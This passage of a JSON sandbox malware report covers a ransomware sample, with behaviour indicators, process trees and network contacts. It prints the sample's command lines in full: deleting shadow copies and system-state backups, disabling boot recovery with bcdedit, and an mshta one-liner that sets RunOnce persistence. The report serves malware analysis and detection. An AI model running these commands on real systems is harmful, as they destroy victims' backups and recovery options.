\"DISABLESECURITYSETTINGSCHECK\")\n \"Manager_Agent.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n RegCreateKeyExA\n RegOpenKeyExA\n RegDeleteValueA\n RegEnumKeyExA\n GetFileAttributesA\n GetVersionExA\n GetModuleFileNameA\n LoadLibraryA\n FindNextFileW\n OpenProcess\n LockResource\n GetCommandLineW\n UnhandledExceptionFilter\n WinExec\n DeleteFileW\n GetProcAddress\n CreateThread\n GetModuleFileNameW\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetStartupInfoA\n GetCommandLineA\n FindFirstFileW\n LoadLibraryExA\n TerminateProcess\n CreateFileW\n CreateProcessW\n Sleep\n GetTickCount\n FindResourceA\n VirtualAlloc\n ShellExecuteW\n InternetReadFile\n InternetOpenUrlA\n InternetCloseHandle\n InternetOpenA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$28","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"notepad.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00014951-00003512)\n Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00015034-00001356)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ETPRO POLICY Observed DNS Request to iplogger.com for External IP Address Lookup\" (SID: 2827133, Rev: 1, Severity: 1) categorized as \"A Network Trojan was detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"33/67 Antivirus vendors marked sample as malicious (49% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"33/67 Antivirus vendors marked sample as malicious (49% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"33/67 Antivirus vendors marked spawned process \"\" (PID: 2748) as malicious (classified as \"Gen:Variant.Zusy\" with 49% detection rate)\n 33/67 Antivirus vendors marked spawned process \"Manager_Agent.exe\" (PID: 2916) as malicious (classified as \"Gen:Variant.Zusy\" with 49% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Installation/Persistance","name":"Disables startup repair","description":"Disables startup repair \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00014950-00003428)\n Disables startup repair \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00015028-00001284)","origin":"Monitored Target","relevance":8,"id":"target-5","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$29","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2a","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Network Related","name":"Multiple malicious artifacts seen in the context of different hosts","description":"$2b","origin":"Network Traffic","relevance":10,"id":"network-27","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00015014-00003532)\n Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00015039-00000100)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"INSTRUCTION FOR DATA RECOVERY.TXT\" which has been seen in the context of ransomware (Indicator: recovery.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2c","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Ransomware","details_count":2,"details":[{"detail":"The analysis extracted a known ransomware file"},{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Disables startup repair"},{"detail":"Tries to suppress failures during boot (often used to hide system changes)"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}]},"activity":{"stats":{"process_count":20,"spawned_processes_count":20,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":117,"dropped_files_count":0,"extracted_files_count":94,"files_written_count":61,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":4,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":15,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["phishing","ransomware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"59f89a4e7ca3e1266f73e1a4","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","contacted_countries":["DEU"],"submit_name":"Manager_Agent.old.exe","analysis_start_time":"2017-10-31T16:42:29+00:00","indicators_count":{"informative":17,"suspicious":23,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"88.99.66.31","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"address":"88.99.66.31","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"dns_resolutions":[{"domain":"iplogger.com","address":"88.99.66.31","country":"Germany","registrar_name":"GODADDY.COM, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"DNS.FASTDNS24.COM","registrar_creation_date":"2011-11-16T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}],"http_requests":[{"host":"iplogger.com","host_ip":"88.99.66.31:80","url":"/1wQH27.gif","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /1wQH27.gif HTTP/1.1\nHost: iplogger.com","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}],"processes":[{"pid":2572,"ppid":0,"name":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe","command_line":"","sha256":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","normalized_path":"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe","uid":"00014587-00002572","icon":"$2d"},{"pid":2732,"ppid":2572,"name":"cmd.exe","command_line":"/c copy /y \"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe\" \"%APPDATA%\\Manager_Agent.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014587-00002572","uid":"00014735-00002732","icon":"$2e"},{"pid":2748,"ppid":2572,"name":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe","command_line":"runas","sha256":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","normalized_path":"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe","parent_uid":"00014587-00002572","uid":"00014745-00002748","icon":"$2f"},{"pid":2876,"ppid":2748,"name":"cmd.exe","command_line":"/c copy /y \"C:\\1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe\" \"%APPDATA%\\Manager_Agent.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014745-00002748","uid":"00014841-00002876","icon":"$30"},{"pid":2916,"ppid":2748,"name":"Manager_Agent.exe","command_line":"","sha256":"1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031","normalized_path":"%APPDATA%\\Manager_Agent.exe","parent_uid":"00014745-00002748","uid":"00014850-00002916","icon":"$31"},{"pid":3444,"ppid":2916,"name":"mshta.exe","command_line":"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Manager_Agent.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\cUTakpf',i);}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00014850-00002916","uid":"00014947-00003444","icon":"$32"},{"pid":3440,"ppid":2916,"name":"cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00014949-00003440","icon":"$33"},{"pid":3576,"ppid":3440,"name":"wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","parent_uid":"00014949-00003440","uid":"00015012-00003576","icon":"$34"},{"pid":3460,"ppid":2916,"name":"cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00014949-00003460","icon":"$35"},{"pid":100,"ppid":3460,"name":"WMIC.exe","command_line":"wmic SHADOWCOPY DELETE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00014949-00003460","uid":"00015039-00000100"},{"pid":3412,"ppid":2916,"name":"cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00014950-00003412","icon":"$36"},{"pid":3532,"ppid":3412,"name":"vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00014950-00003412","uid":"00015014-00003532","icon":"$37"},{"pid":3428,"ppid":2916,"name":"cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00014950-00003428","icon":"$38"},{"pid":1284,"ppid":3428,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00014950-00003428","uid":"00015028-00001284"},{"pid":3512,"ppid":2916,"name":"cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00014951-00003512","icon":"$39"},{"pid":1356,"ppid":3512,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00014951-00003512","uid":"00015034-00001356"},{"pid":812,"ppid":2916,"name":"cmd.exe","command_line":"/c start /max notepad.exe \"%USERPROFILE%\\INSTRUCTION FOR DATA RECOVERY.TXT\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00014850-00002916","uid":"00018719-00000812","icon":"$3a"},{"pid":4076,"ppid":812,"name":"notepad.exe","command_line":"%USERPROFILE%\\INSTRUCTION FOR DATA RECOVERY.TXT\"","sha256":"c4232ddd4d37b9c0884bd44d8476578c54d7f98d58945728e425736a6a07e102","normalized_path":"%WINDIR%\\System32\\notepad.exe","parent_uid":"00018719-00000812","uid":"00018733-00004076"},{"pid":2680,"ppid":2916,"name":"mshta.exe","command_line":"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('Manager_Agent.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00014850-00002916","uid":"00020808-00002680","icon":"$3b"},{"pid":3392,"ppid":2748,"name":"mshta.exe","command_line":"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('1885e9b3037c70563aa539a7b4fab5e4b04067584353e5f0ba4300c689146031.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00014745-00002748","uid":"00014851-00003392","icon":"$3c"}],"all_imported_dlls":["sechost.dll","crypt32.dll","msasn1.dll","cfgmgr32.dll","KernelBase.dll","NapiNSP.dll","credssp.dll","FWPUCLNT.DLL","MSOXMLMF.DLL","msvcr90.dll","Wldap32.dll","winsta.dll","pnrpnsp.dll","wship6.dll","uxtheme.dll","IPHLPAPI.DLL","devrtl.dll","wbemcomn.dll","atl.dll","msvcrt.dll","davclnt.dll","cryptnet.dll","urlmon.dll","winbrand.dll","rtutils.dll","wintrust.dll","psapi.dll","comdlg32.dll","kernel32.dll","nsi.dll","drprov.dll","rasman.dll","rasadhlp.dll","schannel.dll","framedynos.dll","shlwapi.dll","netprofm.dll","oleacc.dll","usp10.dll","npmproxy.dll","ncrypt.dll","cabinet.dll","dwmapi.dll","ole32.dll","version.dll","secur32.dll","wbemprox.dll","vss_ps.dll","shell32.dll","setupapi.dll","wtsapi32.dll","cryptbase.dll","clbcatq.dll","winrnr.dll","dhcpcsvc.dll","oleaut32.dll","profapi.dll","ntlanman.dll","SensApi.dll","nlaapi.dll","ieframe.dll","wbemsvc.dll","wkscli.dll","msls31.dll","scrrun.dll","slc.dll","vsstrace.dll","user32.dll","lpk.dll","propsys.dll","mswsock.dll","cryptsp.dll","rpcrt4.dll","cscapi.dll","userenv.dll","msimtf.dll","mpr.dll","iertutil.dll","davhlpr.dll","rasapi32.dll","winhttp.dll","gdi32.dll","ntmarta.dll","dnsapi.dll","mshtml.dll","sxs.dll","fastprox.dll","msctf.dll","ws2_32.dll","bcryptprimitives.dll","webio.dll","ntdsapi.dll","rpcss.dll","comctl32.dll","sspicli.dll","browcli.dll","credui.dll","apphelp.dll","rsaenh.dll","bcrypt.dll","oleaccrc.dll","advapi32.dll","netutils.dll","winnsi.dll","WSHTCPIP.DLL","RpcRtRemote.dll","msxml3.dll","dhcpcsvc6.dll","msxml3r.dll","ntdll.dll","devobj.dll","jscript.dll","blbres.dll","wininet.dll","gpapi.dll","imm32.dll","vssapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"AiodLite.dll","sha256":"874bc997c8aebcda6244084960e7c16ce2c6954833d81be88298d6ae5bf51d14","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Liesmich.htm","sha256":"2164201b27f2aa5ba293e87570597ae17f7f850a5a7331b7548dfcb6e8d3cf3d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ReadMe.htm","sha256":"7769b7006167912f2dbbf7bc13b14556964b056bd10f4a03288f5198b3ff23b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"A3DUtils.dll","sha256":"85e9adc9d2bf05901b7a5b4ac79627c7106a005f44904d577fbd9b3efd20bc55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ACE.dll","sha256":"f23f00659c9d93617a56b546f3adc80fea09ef4da2df7fbcc622b34c5831ee81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AGM.dll","sha256":"02d62c896f11e51a4d5bfd94369e1df85452906eaaf2eacc556b732a3d0cad27","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AGMGPUOptIn.ini","sha256":"6395a7ddb2ff0eb0f63ab940b7d45a828c919b72f62f064ec23ebd6d36bcc2fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"nppdf32.DEU","sha256":"fc553398b2863a230a71eac63c8573e67ca40c886ead757c288d84f8de72e019","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AXE8SharedExpat.dll","sha256":"b2be1d0d3bdc2157aa6892479447435c4aac5215ebd60c4f4346b3c1f38f4daf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AXSLE.dll","sha256":"024dea0ee52d3dc3df09e55bdbff4f433730d856e3921a370ba141c446b29baa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroBroker.exe","sha256":"b57c35b0de48ef5429636a23efcb5344ecd4facd1262ea7b5da7cf0dacce05ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroExt.exe","sha256":"84e8d3bbec6f5c06c33e9b128cfd9ffc772cb10797bdefcdac23a63508a3211f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"cef.pak","sha256":"b489c258c5fc6ae7598720053f83a1e8da1d75b8e7fe70ce2dafe0d15b691b4c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"en-US.pak","sha256":"b1ef06b79c40a3440d885c631732eaf926431e11a1a70178a5c45745a00d0c7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroRd32.exe","sha256":"51d7f58111e219cff9950c2f4b7bcfe2d673d3304752fc208049eedd20ec1a94","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroRd32Info.exe","sha256":"e4f6f7d262cb0e61d9cccc0c141e91387d57878e816fe234d126ca75d80f23ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroRdIF.dll","sha256":"9bd67f4d376e8deabeec300a5e6e883993ab2ff9cf734e789fbbea26d5092b2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AcroTextExtractor.exe","sha256":"584b5bfff19932c97a73e59e2afe2c0c0f2c433a9c233cee4d3f046f80471bf8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Acrofx32.dll","sha256":"6ee1f2e90fa5030bb65c05b43540ae8567381251296e38c8ccf99744b11843fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Adobe.Reader.Dependencies.manifest","sha256":"38279171b5958238cf59808c9c4e9f6d14d4f38beda65ca5de244cbf2ef67f94","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AdobeCollabSync.exe","sha256":"32595756079f7238d02fa3d30a50b95dd3dde9109e985a344bfeef7c0747e629","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AdobeLinguistic.dll","sha256":"eaa7b952ac557d0b26707c2c8f9c2b40e5363f7357bb7efbfaa3db667f9ebc1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"AdobeXMP.dll","sha256":"27cad9b52e41ff63eee9c4f345e4f41b504c2c907b1320905efae806465e9155","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"BIB.dll","sha256":"903bb382bac530ead778935d47b01ae83486bf334aa06106cf99dd46f64af27b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"BIBUtils.dll","sha256":"9e358191e1658cbc0efcbb77ec14472fca840717cd374ce46669614ea3ccb11c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"CoolType.dll","sha256":"d26cb4d660f1922a4dd47ffbd058f4165cd57e5a8740132e3d1aabbad546371c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Eula.exe","sha256":"22ce4978728f689b8d72328e3b264c7a5bca97e511dda23664ed9c5b5fd6a832","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ExtendScript.dll","sha256":"c0df3571dc55425334bd5813509e9e2826a41c5b927baf6f87d5ebf2d66940ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"JP2KLib.dll","sha256":"50c83707c76b634da00eb59386b8c22e69159d37549a504bc176a1d66bff83f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"LogTransport2.exe","sha256":"0865d9136208315b5bd866cd8a826ff8ea2cea0e11f4413f4b8b69bc8ef51db7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"Onix32.dll","sha256":"2b016b7f53f7d6a8edbc5922c902a4400da47a426b144a478d960166c9fc2283","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"PDFPrevHndlr.dll","sha256":"2aa5d6024ea6536bb37901bf8b68e3d4899530f1d7bae2710f04de10323853c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"RTC.der","sha256":"b7cfcf7c07f103a4be5055a54d26346634f70d8dd00f3d48c569b8cafef3ef02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ScCore.dll","sha256":"8d04e0de0fc153624bd8c5eebebec3736177d1db5fef485a5122ac824a3356f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ViewerPS.dll","sha256":"96051407a562ef77b18e5163bb8af100df42a0c314cd0b3c7359f0f97522b370","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"adoberfp.dll","sha256":"2a95c41b0e15cbf1e04630d335c6562c102ad24e991d3ad3157a84b57bdf6622","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ahclient.dll","sha256":"77946edf6eea7f5260be541d00c0afda3754feb17aff7c601940edeaf7706869","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"arh.exe","sha256":"0e76da718e63a65b91cfc3b0e763dabf53d5224661ac0b3fa706c52de12ab057","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ccme_asym.dll","sha256":"18bb868abba79332ec2d4ba03e39565e0bda2312eb983e61aa45bac0ed8b4de1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ccme_base.dll","sha256":"243e9ace418b3368859000a39b7e889d90d530a6696a926be5062814164078b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ccme_base_non_fips.dll","sha256":"1107d5589aaef4ead82a968f81a645a58440f78ad6f8fb1dc4ce91f65bb0f277","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ccme_ecc.dll","sha256":"9a307ff1c69c1dd6d76c4e71fcdfcec3c0342425633a4d4e490c1540d3310472","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f89a4e7ca3e1266f73e1a4"}]},{"name":"ccme_ecdrbg.dll","sha256":"6ad2b650d9eb2fc030644490534e2d61326ffc3003b5c00468ea237